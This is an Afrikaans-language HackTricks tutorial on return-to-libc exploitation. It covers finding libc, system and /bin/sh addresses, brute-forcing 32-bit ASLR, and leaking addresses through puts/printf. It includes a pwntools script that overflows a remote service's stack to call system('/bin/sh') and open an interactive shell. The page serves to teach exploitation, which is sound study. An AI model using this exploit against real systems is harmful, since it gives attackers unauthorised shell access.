Ret2lib

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Die essensie van Ret2Libc is om die uitvoervloei van 'n kwesbare program te herlei na 'n funksie binne 'n gedeelde biblioteek (bv., system, execve, strcpy) in plaas van die uitvoering van aanvaller-voorsiene shellkode op die stok. Die aanvaller stel 'n lading op wat die terugkeeradres op die stok wysig om na die gewenste biblioteekfunksie te wys, terwyl hy ook reël vir enige nodige argumente om korrek opgestel te word volgens die oproepkonvensie.

Voorbeeldstappe (vereenvoudig)

  • Kry die adres van die funksie om te roep (bv. system) en die bevel om te roep (bv. /bin/sh)

  • Genereer 'n ROP-ketting om die eerste argument wat na die bevelstring wys en die uitvoervloei na die funksie te stuur

Die adresse vind

  • Veronderstel dat die libc wat gebruik word die een van die huidige masjien is, kan jy vind waar dit in die geheue gelaai sal word met:

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

As jy wil nagaan of die ASLR die adres van libc verander, kan jy dit doen:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • As jy die libc wat gebruik word ken, is dit ook moontlik om die skuif na die system-funksie te vind met:

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • As jy die libc wat gebruik word ken, is dit ook moontlik om die skuif na die string /bin/sh funksie te vind met:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Gebruik van gdb-peda / GEF

Met kennis van die gebruikte libc, is dit ook moontlik om Peda of GEF te gebruik om die adres van die system-funksie, die exit-funksie en die string /bin/sh te kry:

p system
p exit
find "/bin/sh"

Gebruik /proc/<PID>/maps

Indien die proses elke keer as jy met dit praat kinders skep (netwerkbediener), probeer om daardie lêer te lees (jy sal waarskynlik 'n root wees).

Hier kan jy presies vind waar die libc gelaai is binne die proses en waar dit gelaai gaan word vir elke kind van die proses.

In hierdie geval is dit gelaai by 0xb75dc000 (Dit sal die basisadres van libc wees)

Onbekende libc

Dit mag moontlik wees dat jy nie weet watter libc die binêre lê nie (omdat dit dalk in 'n bediener geleë is waar jy geen toegang tot het nie). In daardie geval kan jy die kwesbaarheid misbruik om sekere adresse te lek en te vind watter libc-biblioteek gebruik word:

pageLeaking libc address with ROP

En jy kan 'n pwntools-sjabloon hiervoor vind in:

pageLeaking libc - template

Ken libc met 2 verskuiwings

Kyk na die bladsy https://libc.blukat.me/ en gebruik 'n paar adresse van funksies binne die libc om die gebruikte weergawe te bepaal.

ASLR omseil in 32-bits

Hierdie brute-krag aanvalle is slegs nuttig vir 32-bits stelsels.

  • As die aanval plaaslik is, kan jy probeer om die basisadres van libc met brute krag te agterhaal (nuttig vir 32-bits stelsels):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Indien jy 'n afgeleë bediener aanval, kan jy probeer om die adres van die libc-funksie usleep deur brute-force te vind, deur 10 as argument te stuur. As die bediener op 'n sekere punt 10 sekondes langer neem om te reageer, het jy die adres van hierdie funksie gevind.

Een Gadget

Voer 'n skaal uit deur net te spring na een spesifieke adres in libc:

pageOne Gadget

x86 Ret2lib Kodevoorbeeld

In hierdie voorbeeld is ASLR brute-force geïntegreer in die kode en die kwesbare binêre lêer is op 'n afgeleë bediener geleë:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Kodevoorbeeld

Kyk na die voorbeeld van:

pageROP - Return Oriented Programing

ARM64 Ret2lib Voorbeeld

In die geval van ARM64, spring die ret instruksie na waar die x30 register na wys en nie waar die stapel register na wys nie. Dit is dus 'n bietjie meer ingewikkeld.

Ook in ARM64 doen 'n instruksie wat die instruksie doen (dit is nie moontlik om in die middel van instruksies te spring en hulle in nuwes te verander nie).

Kyk na die voorbeeld van:

pageRet2lib + Printf leak - arm64

Ret-in-printf (of puts)

Dit maak dit moontlik om inligting uit die proses te lek deur printf/puts te roep met spesifieke data geplaas as 'n argument. Byvoorbeeld, deur die adres van puts in die GOT in 'n uitvoering van puts te plaas, sal die adres van puts in die geheue lek.

Ret2printf

Dit beteken basies die misbruik van 'n Ret2lib om dit te omskep in 'n printf formaat string kwesbaarheid deur die ret2lib te gebruik om printf te roep met die waardes om dit uit te buit (klink nutteloos maar moontlik):

pageFormat Strings

Ander Voorbeelde & verwysings

Last updated